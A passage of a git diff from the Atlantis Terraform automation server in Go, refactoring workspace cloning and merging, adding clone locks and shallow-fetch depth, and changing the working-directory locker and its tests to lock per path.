multiple valid configs, function should succeed") RegisterMockTestingT(t) - client := mocks.NewMockSlackClient() - When(client.TokenIsSet()).ThenReturn(true) - When(client.ChannelExists(validChannel)).ThenReturn(true, nil) + clients := validClients() + When(clients.Slack.TokenIsSet()).ThenReturn(true) var configs []webhooks.Config nConfigs := 5 for i := 0; i < nConfigs; i++ { configs = append(configs, validConfig) } - m, err := webhooks.NewMultiWebhookSender(configs, client) + m, err := webhooks.NewMultiWebhookSender(configs, clients) Ok(t, err) - Assert(t, m != nil, "manager shouldn't be nil") Equals(t, nConfigs, len(m.Webhooks)) // nolint: staticcheck } @@ -161,7 +192,7 @@ func TestSend_SingleSuccess(t *testing.T) { manager := webhooks.MultiWebhookSender{ Webhooks: []webhooks.Sender{sender}, } - logger := logging.NewNoopLogger() + logger := logging.NewNoopLogger(t) result := webhooks.ApplyResult{} manager.Send(logger, result) // nolint: errcheck sender.VerifyWasCalledOnce().Send(logger, result) @@ -178,7 +209,7 @@ func TestSend_MultipleSuccess(t *testing.T) { manager := webhooks.MultiWebhookSender{ Webhooks: []webhooks.Sender{senders[0], senders[1], senders[2]}, } - logger := logging.NewNoopLogger() + logger := logging.NewNoopLogger(t) result := webhooks.ApplyResult{} err := manager.Send(logger, result) Ok(t, err) diff --git a/server/events/working_dir.go b/server/events/working_dir.go index 2a09bb53af..db949a8fab 100644 --- a/server/events/working_dir.go +++ b/server/events/working_dir.go @@ -20,31 +20,43 @@ import ( "path/filepath" "strconv" "strings" + "sync" "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/utils" ) const workingDirPrefix = "repos" -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_working_dir.go WorkingDir -//go:generate pegomock generate -m --use-experimental-model-gen --package events WorkingDir +var cloneLocks sync.Map +var recheckRequiredMap sync.Map + +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_working_dir.go WorkingDir +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package events WorkingDir // WorkingDir handles the workspace on disk for running commands. type WorkingDir interface { // Clone git clones headRepo, checks out the branch and then returns the - // absolute path to the root of the cloned repo. It also returns - // a boolean indicating if we should warn users that the branch we're - // merging into has been updated since we cloned it. - Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) + // absolute path to the root of the cloned repo. + Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) + // MergeAgain merges again with upstream if upstream has been modified, returns + // whether it actually did a new merge + MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) // GetWorkingDir returns the path to the workspace for this repo and pull. // If workspace does not exist on disk, error will be of type os.IsNotExist. GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) + HasDiverged(logger logging.SimpleLogging, cloneDir string) bool GetPullDir(r models.Repo, p models.PullRequest) (string, error) // Delete deletes the workspace for this repo and pull. - Delete(r models.Repo, p models.PullRequest) error - DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) error + Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error + DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error + // DeletePlan deletes the plan for this repo, pull, workspace path and project name + DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error + // GetGitUntrackedFiles returns a list of Git untracked files in the working dir. + GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) } // FileWorkspace implements WorkingDir with the file system. @@ -55,190 +67,330 @@ type FileWorkspace struct { // If this is false, then we will check out the head branch from the pull // request. CheckoutMerge bool + // CheckoutDepth is how many commits of feature branch and main branch we'll + // retrieve by default. If their merge base is not retrieved with this depth, + // full fetch will be performed. Only matters if CheckoutMerge=true. + CheckoutDepth int // TestingOverrideHeadCloneURL can be used during testing to override the // URL of the head repo to be cloned. If it's empty then we clone normally. TestingOverrideHeadCloneURL string // TestingOverrideBaseCloneURL can be used during testing to override the // URL of the base repo to be cloned. If it's empty then we clone normally. TestingOverrideBaseCloneURL string + // GithubAppEnabled is true and a PR number is supplied, we should fetch + // the ref "pull/PR_NUMBER/head" from the "origin" remote. If this is false, + // we fetch "+refs/heads/$HEAD_BRANCH" from the "head" remote. + GithubAppEnabled bool + // use the global setting without overriding + GpgNoSigningEnabled bool + // flag indicating if we have to merge with potential new changes upstream (directly after grabbing project lock) + CheckForUpstreamChanges bool } // Clone git clones headRepo, checks out the branch and then returns the absolute -// path to the root of the cloned repo. It also returns -// a boolean indicating if we should warn users that the branch we're -// merging into has been updated since we cloned it. -//If the repo already exists and is at +// path to the root of the cloned repo. +// If the repo already exists and is at // the right commit it does nothing. This is to support running commands in // multiple dirs of the same repo without deleting existing plans. -func (w *FileWorkspace) Clone( - log *logging.SimpleLogger, - headRepo models.Repo, - p models.PullRequest, - workspace string) (string, bool, error) { +func (w *FileWorkspace) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { cloneDir := w.cloneDir(p.BaseRepo, p, workspace) + // Unconditionally wait for the clone lock here, if anyone else is doing any clone + // operation in this directory, we wait for it to finish before we check anything. + value, _ := cloneLocks.LoadOrStore(cloneDir, new(sync.Mutex)) + mutex := value.(*sync.Mutex) + mutex.Lock() + defer mutex.Unlock() + + c := wrappedGitContext{cloneDir, headRepo, p} // If the directory already exists, check if it's at the right commit. // If so, then we do nothing. if _, err := os.Stat(cloneDir); err == nil { - log.Debug("clone directory %q already exists, checking if it's at the right commit", cloneDir) + logger.Debug("clone directory '%s' already exists, checking if it's at the right commit", cloneDir) // We use git rev-parse to see if our repo is at the right commit. - // If just checking out the pull request branch, we can use HEAD. + // If just checking out the pull request branch or if there is no + // pull request (API triggered with a custom git ref), we can use HEAD. // If doing a merge, then HEAD won't be at the pull request's HEAD // because we'll already have performed a merge. Instead, we'll check // HEAD^2 since that will be the commit before our merge. pullHead := "HEAD" - if w.CheckoutMerge { + if w.CheckoutMerge && c.pr.Num > 0 { pullHead = "HEAD^2" } revParseCmd := exec.Command("git", "rev-parse", pullHead) // #nosec revParseCmd.Dir = cloneDir outputRevParseCmd, err := revParseCmd.CombinedOutput() if err != nil { - log.Warn("will re-clone repo, could not determine if was at correct commit: %s: %s: %s", strings.Join(revParseCmd.Args, " "), err, string(outputRevParseCmd)) - return cloneDir, false, w.forceClone(log, cloneDir, headRepo, p) + logger.Warn("will re-clone repo, could not determine if was at correct commit: %s: %s: %s", strings.Join(revParseCmd.Args, " "), err, string(outputRevParseCmd)) + return cloneDir, w.forceClone(logger, c) } currCommit := strings.Trim(string(outputRevParseCmd), "\n") // We're prefix matching here because BitBucket doesn't give us the full // commit, only a 12 character prefix. if strings.HasPrefix(currCommit, p.HeadCommit) { - log.Debug("repo is at correct commit %q so will not re-clone", p.HeadCommit) - return cloneDir, w.warnDiverged(log, cloneDir), nil + logger.Debug("repo is at correct commit %q so will not re-clone", p.HeadCommit) + return cloneDir, nil } - - log.Debug("repo was already cloned but is not at correct commit, wanted %q got %q", p.HeadCommit, currCommit) + logger.Debug("repo was already cloned but is not at correct commit, wanted %q got %q", p.HeadCommit, currCommit) // We'll fall through to re-clone. } // Otherwise we clone the repo. - return cloneDir, false, w.forceClone(log, cloneDir, headRepo, p) + return cloneDir, w.forceClone(logger, c) +} + +// MergeAgain merges again with upstream if we are using the merge checkout strategy, +// and upstream has been modified since we last checked. +// It returns a flag indicating whether we had to merge with upstream again. +func (w *FileWorkspace) MergeAgain( + logger logging.SimpleLogging, + headRepo models.Repo, + p models.PullRequest, + workspace string) (bool, error) { + + if !w.CheckoutMerge { + return false, nil + } + + cloneDir := w.cloneDir(p.BaseRepo, p, workspace) + // We atomically set the recheckRequiredMap flag here before grabbing the clone lock. + // If the flag is cleared after we grab the lock, it means some other thread + // did the necessary work late enough that we do not have to do it again. + recheckRequiredMap.Store(cloneDir, struct{}{}) + + // Unconditionally wait for the clone lock here, if anyone else is doing any clone + // operation in this directory, we wait for it to finish before we check anything. + value, _ := cloneLocks.LoadOrStore(cloneDir, new(sync.Mutex)) + mutex := value.(*sync.Mutex) + mutex.Lock() + defer mutex.Unlock() + + if _, exists := recheckRequiredMap.Load(cloneDir); !exists { + logger.Debug("Skipping upstream check. Some other thread has done this for us") + return false, nil + } + recheckRequiredMap.Delete(cloneDir) + + c := wrappedGitContext{cloneDir, headRepo, p} + if w.recheckDiverged(logger, p, headRepo, cloneDir) { + logger.Info("base branch has been updated, using merge strategy and will merge again") + return true, w.mergeAgain(logger, c) + } + return false, nil } -// warnDiverged returns true if we should warn the user that the branch we're -// merging into has diverged from what we currently have checked out. +// recheckDiverged returns true if the branch we're merging into has diverged +// from what we currently have checked out. // This matters in the case of the merge checkout strategy because after -// cloning the repo and doing the merge, it's possible master was updated. -// Then users won't be getting the merge functionality they expected. +// cloning the repo and doing the merge, it's possible main was updated +// and we have to perform a new merge. // If there are any errors we return false since we prefer things to succeed // vs. stopping the plan/apply. -func (w *FileWorkspace) warnDiverged(log *logging.SimpleLogger, cloneDir string) bool { +func (w *FileWorkspace) recheckDiverged(logger logging.SimpleLogging, p models.PullRequest, headRepo models.Repo, cloneDir string) bool { if !w.CheckoutMerge { - // It only makes sense to warn that master has diverged if we're using + // It only makes sense to warn that main has diverged if we're using // the checkout merge strategy. If we're just checking out the branch, - // then it doesn't matter what's going on with master because we've + // then it doesn't matter what's going on with main because we've // decided to always run off the branch. return false } // Bring our remote refs up to date. - remoteUpdateCmd := exec.Command("git", "remote", "update") - remoteUpdateCmd.Dir = cloneDir - outputRemoteUpdate, err := remoteUpdateCmd.CombinedOutput() + // Reset the URL in case we are using github app credentials since these might have + // expired and refreshed and the URL would now be different. + // In this case, we should be using a proxy URL which substitutes the credentials in + // as a long term fix, but something like that requires more e2e testing/time + cmds := [][]string{ + { + "git", "remote", "set-url", "origin", p.BaseRepo.CloneURL, + }, + { + "git", "remote", "set-url", "head", headRepo.CloneURL, + }, + { + "git", "remote", "update", + }, + } + + for _, args := range cmds { + cmd := exec.Command(args[0], args[1:]...) // nolint: gosec + cmd.Dir = cloneDir + + output, err := cmd.CombinedOutput() + if err != nil { + logger.Warn("getting remote update failed: %s", string(output)) + return false + } + } + + return w.HasDiverged(logger, cloneDir) +} + +func (w *FileWorkspace) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { + if !w.CheckoutMerge { + // Both the diverged warning and the UnDiverged apply requirement only apply to merge checkout strategy so + // we assume false here for 'branch' strategy. + return false + } + + statusFetchCmd := exec.Command("git", "fetch") + statusFetchCmd.Dir = cloneDir + outputStatusFetch, err := statusFetchCmd.CombinedOutput() if err != nil { - log.Warn("getting remote update failed: %s", string(outputRemoteUpdate)) + logger.Warn("fetching repo has failed: %s", string(outputStatusFetch)) return false } - // Check if remote master branch has diverged. + // Check if remote main branch has diverged. statusUnoCmd := exec.Command("git", "status", "--untracked-files=no") statusUnoCmd.Dir = cloneDir outputStatusUno, err := statusUnoCmd.CombinedOutput() if err != nil { - log.Warn("getting repo status has failed: %s", string(outputStatusUno)) + logger.Warn("getting repo status has failed: %s", string(outputStatusUno)) return false } hasDiverged := strings.Contains(string(outputStatusUno), "have diverged") - if hasDiverged { - log.Info("remote master branch is ahead and thereby has new commits, it is recommended to pull new commits") - } else { - log.Debug("remote master branch has no new commits") - } return hasDiverged } -func (w *FileWorkspace) forceClone(log *logging.SimpleLogger, - cloneDir string, - headRepo models.Repo, - p models.PullRequest) error { - - err := os.RemoveAll(cloneDir) +func (w *FileWorkspace) forceClone(logger logging.SimpleLogging, c wrappedGitContext) error { + err := os.RemoveAll(c.dir) if err != nil { - return errors.Wrapf(err, "deleting dir %q before cloning", cloneDir) + return errors.Wrapf(err, "deleting dir '%s' before cloning", c.dir) } // Create the directory and parents if necessary. - log.Info("creating dir %q", cloneDir) - if err := os.MkdirAll(cloneDir, 0700); err != nil { + logger.Info("creating dir '%s'", c.dir) + if err := os.MkdirAll(c.dir, 0700); err != nil { return errors.Wrap(err, "creating new workspace") } // During testing, we mock some of this out. - headCloneURL := headRepo.CloneURL + headCloneURL := c.head.CloneURL if w.TestingOverrideHeadCloneURL != "" { headCloneURL = w.TestingOverrideHeadCloneURL } - baseCloneURL := p.BaseRepo.CloneURL + baseCloneURL := c.pr.BaseRepo.CloneURL if w.TestingOverrideBaseCloneURL != "" { baseCloneURL = w.TestingOverrideBaseCloneURL } - var cmds [][]string - if w.CheckoutMerge { - // NOTE: We can't do a shallow clone when we're merging because we'll - // get merge conflicts if our clone doesn't have the commits that the - // branch we're merging branched off at. - // See https://groups.google.com/forum/#!topic/git-users/v3MkuuiDJ98. - cmds = [][]string{ - { - "git", "clone", "--branch", p.BaseBranch, "--single-branch", baseCloneURL, cloneDir, - }, - { - "git", "remote", "add", "head", headCloneURL, - }, - { - "git", "fetch", "head", fmt.Sprintf("+refs/heads/%s:", p.HeadBranch), - }, - // We use --no-ff because we always want there to be a merge commit. - // This way, our branch will look the same regardless if the merge - // could be fast forwarded. This is useful later when we run - // git rev-parse HEAD^2 to get the head commit because it will - // always succeed whereas without --no-ff, if the merge was fast - // forwarded then git rev-parse HEAD^2 would fail. - { - "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD", - }, + // if branch strategy, use depth=1 + if !w.CheckoutMerge { + return w.wrappedGit(logger, c, "clone", "--depth=1", "--branch", c.pr.HeadBranch, "--single-branch", headCloneURL, c.dir) + } + + // if merge strategy... + + // if no checkout depth, omit depth arg + if w.CheckoutDepth == 0 { + if err := w.wrappedGit(logger, c, "clone", "--branch", c.pr.BaseBranch, "--single-branch", baseCloneURL, c.dir); err != nil { + return err } } else { - cmds = [][]string{ - { - "git", "clone", "--branch", p.HeadBranch, "--depth=1", "--single-branch", headCloneURL, cloneDir, - }, + if err := w.wrappedGit(logger, c, "clone", "--depth", fmt.Sprint(w.CheckoutDepth), "--branch", c.pr.BaseBranch, "--single-branch", baseCloneURL, c.dir); err != nil { + return err } } - for _, args := range cmds { - cmd := exec.Command(args[0], args[1:]...) // nolint: gosec - cmd.Dir = cloneDir - // The git merge command requires these env vars are set. - cmd.Env = append(os.Environ(), []string{ - "EMAIL=atlantis@runatlantis.io", - "GIT_AUTHOR_NAME=atlantis", - "GIT_COMMITTER_NAME=atlantis", - }...) - - cmdStr := w.sanitizeGitCredentials(strings.Join(cmd.Args, " "), p.BaseRepo, headRepo) - output, err := cmd.CombinedOutput() - sanitizedOutput := w.sanitizeGitCredentials(string(output), p.BaseRepo, headRepo) - if err != nil { - sanitizedErrMsg := w.sanitizeGitCredentials(err.Error(), p.BaseRepo, headRepo) - return fmt.Errorf("running %s: %s: %s", cmdStr, sanitizedOutput, sanitizedErrMsg) + if err := w.wrappedGit(logger, c, "remote", "add", "head", headCloneURL); err != nil { + return err + } + if w.GpgNoSigningEnabled { + if err := w.wrappedGit(logger, c, "config", "--local", "commit.gpgsign", "false"); err != nil { + return err } - log.Debug("ran: %s. Output: %s", cmdStr, strings.TrimSuffix(sanitizedOutput, "\n")) } + + return w.mergeToBaseBranch(logger, c) +} + +// There is a new upstream update that we need, and we want to update to it +// without deleting any existing plans +func (w *FileWorkspace) mergeAgain(logger logging.SimpleLogging, c wrappedGitContext) error { + // Reset branch as if it was cloned again + if err := w.wrappedGit(logger, c, "reset", "--hard", fmt.Sprintf("refs/remotes/origin/%s", c.pr.BaseBranch)); err != nil { + return err + } + + return w.mergeToBaseBranch(logger, c) +} + +// wrappedGitContext is the configuration for wrappedGit that is typically unchanged +// for a series of calls to wrappedGit +type wrappedGitContext struct { + dir string + head models.Repo + pr models.PullRequest +} + +// wrappedGit runs git with additional environment settings required for git merge, +// and with sanitized error logging to avoid leaking git credentials +func (w *FileWorkspace) wrappedGit(logger logging.SimpleLogging, c wrappedGitContext, args ...string) error { + cmd := exec.Command("git", args...) // nolint: gosec + cmd.Dir = c.dir + // The git merge command requires these env vars are set. + cmd.Env = append(os.Environ(), []string{ + "EMAIL=atlantis@runatlantis.io", + "GIT_AUTHOR_NAME=atlantis", + "GIT_COMMITTER_NAME=atlantis", + }...) + cmdStr := w.sanitizeGitCredentials(strings.Join(cmd.Args, " "), c.pr.BaseRepo, c.head) + output, err := cmd.CombinedOutput() + sanitizedOutput := w.sanitizeGitCredentials(string(output), c.pr.BaseRepo, c.head) + if err != nil { + sanitizedErrMsg := w.sanitizeGitCredentials(err.Error(), c.pr.BaseRepo, c.head) + return fmt.Errorf("running %s: %s: %s", cmdStr, sanitizedOutput, sanitizedErrMsg) + } + logger.Debug("ran: %s. Output: %s", cmdStr, strings.TrimSuffix(sanitizedOutput, "\n")) return nil } +// Merge the PR into the base branch. +func (w *FileWorkspace) mergeToBaseBranch(logger logging.SimpleLogging, c wrappedGitContext) error { + fetchRef := fmt.Sprintf("+refs/heads/%s:", c.pr.HeadBranch) + fetchRemote := "head" + if w.GithubAppEnabled && c.pr.Num > 0 { + fetchRef = fmt.Sprintf("pull/%d/head:", c.pr.Num) + fetchRemote = "origin" + } + + // if no checkout depth, omit depth arg + if w.CheckoutDepth == 0 { + if err := w.wrappedGit(logger, c, "fetch", fetchRemote, fetchRef); err != nil { + return err + } + } else { + if err := w.wrappedGit(logger, c, "fetch", "--depth", fmt.Sprint(w.CheckoutDepth), fetchRemote, fetchRef); err != nil { + return err + } + } + + if err := w.wrappedGit(logger, c, "merge-base", c.pr.BaseBranch, "FETCH_HEAD"); err != nil { + // git merge-base returning error means that we did not receive enough commits in shallow clone. + // Fall back to retrieving full repo history. + if err := w.wrappedGit(logger, c, "fetch", "--unshallow"); err != nil { + return err + } + + // fetch once more, otherwise `FETCH_HEAD` was reset to base when we ran + // fetch --unshallow + if err := w.wrappedGit(logger, c, "fetch", fetchRemote, fetchRef); err != nil { + return err + } + } + + // We use --no-ff because we always want there to be a merge commit. + // This way, our branch will look the same regardless if the merge + // could be fast forwarded. This is useful later when we run + // git rev-parse HEAD^2 to get the head commit because it will + // always succeed whereas without --no-ff, if the merge was fast + // forwarded then git rev-parse HEAD^2 would fail. + return w.wrappedGit(logger, c, "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") +} + // GetWorkingDir returns the path to the workspace for this repo and pull. func (w *FileWorkspace) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { repoDir := w.cloneDir(r, p, workspace) @@ -259,13 +411,17 @@ func (w *FileWorkspace) GetPullDir(r models.Repo, p models.PullRequest) (string, } // Delete deletes the workspace for this repo and pull. -func (w *FileWorkspace) Delete(r models.Repo, p models.PullRequest) error { - return os.RemoveAll(w.repoPullDir(r, p)) +func (w *FileWorkspace) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { + repoPullDir := w.repoPullDir(r, p) + logger.Info("Deleting repo pull directory: " + repoPullDir) + return os.RemoveAll(repoPullDir) } // DeleteForWorkspace deletes the working dir for this workspace. -func (w *FileWorkspace) DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) error { - return os.RemoveAll(w.cloneDir(r, p, workspace)) +func (w *FileWorkspace) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { + workspaceDir := w.cloneDir(r, p, workspace) + logger.Info("Deleting workspace directory: " + workspaceDir) + return os.RemoveAll(workspaceDir) } func (w *FileWorkspace) repoPullDir(r models.Repo, p models.PullRequest) string { @@ -282,3 +438,35 @@ func (w *FileWorkspace) sanitizeGitCredentials(s string, base models.Repo, head baseReplaced := strings.Replace(s, base.CloneURL, base.SanitizedCloneURL, -1) return strings.Replace(baseReplaced, head.CloneURL, head.SanitizedCloneURL, -1) } + +// Set the flag that indicates we need to check for upstream changes (if using merge checkout strategy) +func (w *FileWorkspace) SetCheckForUpstreamChanges() { + w.CheckForUpstreamChanges = true +} + +func (w *FileWorkspace) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, projectPath string, projectName string) error { + planPath := filepath.Join(w.cloneDir(r, p, workspace), projectPath, runtime.GetPlanFilename(workspace, projectName)) + logger.Info("Deleting plan: " + planPath) + return utils.RemoveIgnoreNonExistent(planPath) +} + +// getGitUntrackedFiles returns a list of Git untracked files in the working dir. +func (w *FileWorkspace) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { + workingDir, err := w.GetWorkingDir(r, p, workspace) + if err != nil { + return nil, err + } + + logger.Debug("Checking for Git untracked files in directory: '%s'", workingDir) + cmd := exec.Command("git", "ls-files", "--others", "--exclude-standard") + cmd.Dir = workingDir + + output, err := cmd.CombinedOutput() + if err != nil { + return nil, err + } + + untrackedFiles := strings.Split(string(output), "\n")[:] + logger.Debug("Untracked files: '%s'", strings.Join(untrackedFiles, ",")) + return untrackedFiles, nil +} diff --git a/server/events/working_dir_locker.go b/server/events/working_dir_locker.go index 7642e0ca28..901c8fabc1 100644 --- a/server/events/working_dir_locker.go +++ b/server/events/working_dir_locker.go @@ -15,11 +15,10 @@ package events import ( "fmt" - "strings" "sync" ) -//go:generate pegomock generate --use-experimental-model-gen --package mocks -o mocks/mock_working_dir_locker.go WorkingDirLocker +//go:generate pegomock generate --package mocks -o mocks/mock_working_dir_locker.go WorkingDirLocker // WorkingDirLocker is used to prevent multiple commands from executing // at the same time for a single repo, pull, and workspace. We need to prevent @@ -27,17 +26,11 @@ import ( // on disk and we haven't written Atlantis (yet) to handle concurrent execution // within this workspace. type WorkingDirLocker interface { - // TryLock tries to acquire a lock for this repo, workspace and pull. + // TryLock tries to acquire a lock for this repo, pull, workspace, and path. // It returns a function that should be used to unlock the workspace and // an error if the workspace is already locked. The error is expected to // be printed to the pull request. - TryLock(repoFullName string, pullNum int, workspace string) (func(), error) - // TryLockPull tries to acquire a lock for all the workspaces in this repo - // and pull. - // It returns a function that should be used to unlock the workspace and - // an error if the workspace is already locked. The error is expected to - // be printed to the pull request. - TryLockPull(repoFullName string, pullNum int) (func(), error) + TryLock(repoFullName string, pullNum int, workspace string, path string) (func(), error) } // DefaultWorkingDirLocker implements WorkingDirLocker. @@ -45,86 +38,40 @@ type DefaultWorkingDirLocker struct { // mutex prevents against multiple threads calling functions on this struct // concurrently. It's only used for entry/exit to each function. mutex sync.Mutex - // locks is a list of the keys that are locked. We then use prefix - // matching to determine if something is locked. It's naive but that's okay - // because there won't be many locks at one time. - locks []string + // locks is a set of the keys that are locked. + locks map[string]struct{} } // NewDefaultWorkingDirLocker is a constructor. func NewDefaultWorkingDirLocker() *DefaultWorkingDirLocker { - return &DefaultWorkingDirLocker{} -} - -func (d *DefaultWorkingDirLocker) TryLockPull(repoFullName string, pullNum int) (func(), error) { - d.mutex.Lock() - defer d.mutex.Unlock() - - pullKey := d.pullKey(repoFullName, pullNum) - for _, l := range d.locks { - if l == pullKey || strings.HasPrefix(l, pullKey+"/") { - return func() {}, fmt.Errorf("The Atlantis working dir is currently locked by another" + - " command that is running for this pull request.\n" + - "Wait until the previous command is complete and try again.") - } - } - d.locks = append(d.locks, pullKey) - return func() { - d.UnlockPull(repoFullName, pullNum) - }, nil + return &DefaultWorkingDirLocker{locks: make(map[string]struct{})} } -func (d *DefaultWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string) (func(), error) { +func (d *DefaultWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string) (func(), error) { d.mutex.Lock() defer d.mutex.Unlock() - pullKey := d.pullKey(repoFullName, pullNum) - workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace) - for _, l := range d.locks { - if l == pullKey || l == workspaceKey { - return func() {}, fmt.Errorf("The %s workspace is currently locked by another"+ - " command that is running for this pull request.\n"+ - "Wait until the previous command is complete and try again.", workspace) - } + workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path) + if _, exists := d.locks[workspaceKey]; exists { + return func() {}, fmt.Errorf("the %s workspace at path %s is currently locked by another"+ + " command that is running for this pull request.\n"+ + "Wait until the previous command is complete and try again", workspace, path) } - d.locks = append(d.locks, workspaceKey) + d.locks[workspaceKey] = struct{}{} return func() { - d.unlock(repoFullName, pullNum, workspace) + d.unlock(repoFullName, pullNum, workspace, path) }, nil } // Unlock unlocks the workspace for this pull. -func (d *DefaultWorkingDirLocker) unlock(repoFullName string, pullNum int, workspace string) { +func (d *DefaultWorkingDirLocker) unlock(repoFullName string, pullNum int, workspace string, path string) { d.mutex.Lock() defer d.mutex.Unlock() - workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace) - d.removeLock(workspaceKey) -} - -// Unlock unlocks all workspaces for this pull. -func (d *DefaultWorkingDirLocker) UnlockPull(repoFullName string, pullNum int) { - d.mutex.Lock() - defer d.mutex.Unlock() - - pullKey := d.pullKey(repoFullName, pullNum) - d.removeLock(pullKey) -} - -func (d *DefaultWorkingDirLocker) removeLock(key string) { - var newLocks []string - for _, l := range d.locks { - if l != key { - newLocks = append(newLocks, l) - } - } - d.locks = newLocks -} - -func (d *DefaultWorkingDirLocker) workspaceKey(repo string, pull int, workspace string) string { - return fmt.Sprintf("%s/%s", d.pullKey(repo, pull), workspace) + workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path) + delete(d.locks, workspaceKey) } -func (d *DefaultWorkingDirLocker) pullKey(repo string, pull int) string { - return fmt.Sprintf("%s/%d", repo, pull) +func (d *DefaultWorkingDirLocker) workspaceKey(repo string, pull int, workspace string, path string) string { + return fmt.Sprintf("%s/%d/%s/%s", repo, pull, workspace, path) } diff --git a/server/events/working_dir_locker_test.go b/server/events/working_dir_locker_test.go index 49450e69dc..36ce0dc948 100644 --- a/server/events/working_dir_locker_test.go +++ b/server/events/working_dir_locker_test.go @@ -22,23 +22,24 @@ import ( var repo = "repo/owner" var workspace = "default" +var path = "." func TestTryLock(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() // The first lock should succeed. - unlockFn, err := locker.TryLock(repo, 1, workspace) + unlockFn, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) // Now another lock for the same repo, workspace, and pull should fail - _, err = locker.TryLock(repo, 1, workspace) - ErrEquals(t, "The default workspace is currently locked by another"+ + _, err = locker.TryLock(repo, 1, workspace, path) + ErrEquals(t, "the default workspace at path . is currently locked by another"+ " command that is running for this pull request.\n"+ - "Wait until the previous command is complete and try again.", err) + "Wait until the previous command is complete and try again", err) // Unlock should work. unlockFn() - _, err = locker.TryLock(repo, 1, workspace) + _, err = locker.TryLock(repo, 1, workspace, path) Ok(t, err) } @@ -46,15 +47,15 @@ func TestTryLockDifferentWorkspaces(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for the same repo and pull but different workspace should succeed") - _, err := locker.TryLock(repo, 1, workspace) + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) - _, err = locker.TryLock(repo, 1, "new-workspace") + _, err = locker.TryLock(repo, 1, "new-workspace", path) Ok(t, err) t.Log("and both should now be locked") - _, err = locker.TryLock(repo, 1, workspace) + _, err = locker.TryLock(repo, 1, workspace, path) Assert(t, err != nil, "exp err") - _, err = locker.TryLock(repo, 1, "new-workspace") + _, err = locker.TryLock(repo, 1, "new-workspace", path) Assert(t, err != nil, "exp err") } @@ -62,16 +63,16 @@ func TestTryLockDifferentRepo(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different repo but the same workspace and pull should succeed") - _, err := locker.TryLock(repo, 1, workspace) + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) newRepo := "owner/newrepo" - _, err = locker.TryLock(newRepo, 1, workspace) + _, err = locker.TryLock(newRepo, 1, workspace, path) Ok(t, err) t.Log("and both should now be locked") - _, err = locker.TryLock(repo, 1, workspace) + _, err = locker.TryLock(repo, 1, workspace, path) ErrContains(t, "currently locked", err) - _, err = locker.TryLock(newRepo, 1, workspace) + _, err = locker.TryLock(newRepo, 1, workspace, path) ErrContains(t, "currently locked", err) } @@ -79,16 +80,33 @@ func TestTryLockDifferentPulls(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different pull but the same repo and workspace should succeed") - _, err := locker.TryLock(repo, 1, workspace) + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) newPull := 2 - _, err = locker.TryLock(repo, newPull, workspace) + _, err = locker.TryLock(repo, newPull, workspace, path) Ok(t, err) t.Log("and both should now be locked") - _, err = locker.TryLock(repo, 1, workspace) + _, err = locker.TryLock(repo, 1, workspace, path) ErrContains(t, "currently locked", err) - _, err = locker.TryLock(repo, newPull, workspace) + _, err = locker.TryLock(repo, newPull, workspace, path) + ErrContains(t, "currently locked", err) +} + +func TestTryLockDifferentPaths(t *testing.T) { + locker := events.NewDefaultWorkingDirLocker() + + t.Log("a lock for a different path but the same repo, pull, and workspace should succeed") + _, err := locker.TryLock(repo, 1, workspace, path) + Ok(t, err) + newPath := "new-path" + _, err = locker.TryLock(repo, 1, workspace, newPath) + Ok(t, err) + + t.Log("and both should now be locked") + _, err = locker.TryLock(repo, 1, workspace, path) + ErrContains(t, "currently locked", err) + _, err = locker.TryLock(repo, 1, workspace, newPath) ErrContains(t, "currently locked", err) } @@ -96,103 +114,59 @@ func TestUnlock(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work") - unlockFn, err := locker.TryLock(repo, 1, workspace) + unlockFn, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) unlockFn() - _, err = locker.TryLock(repo, 1, workspace) + _, err = locker.TryLock(repo, 1, workspace, "") Ok(t, err) } func 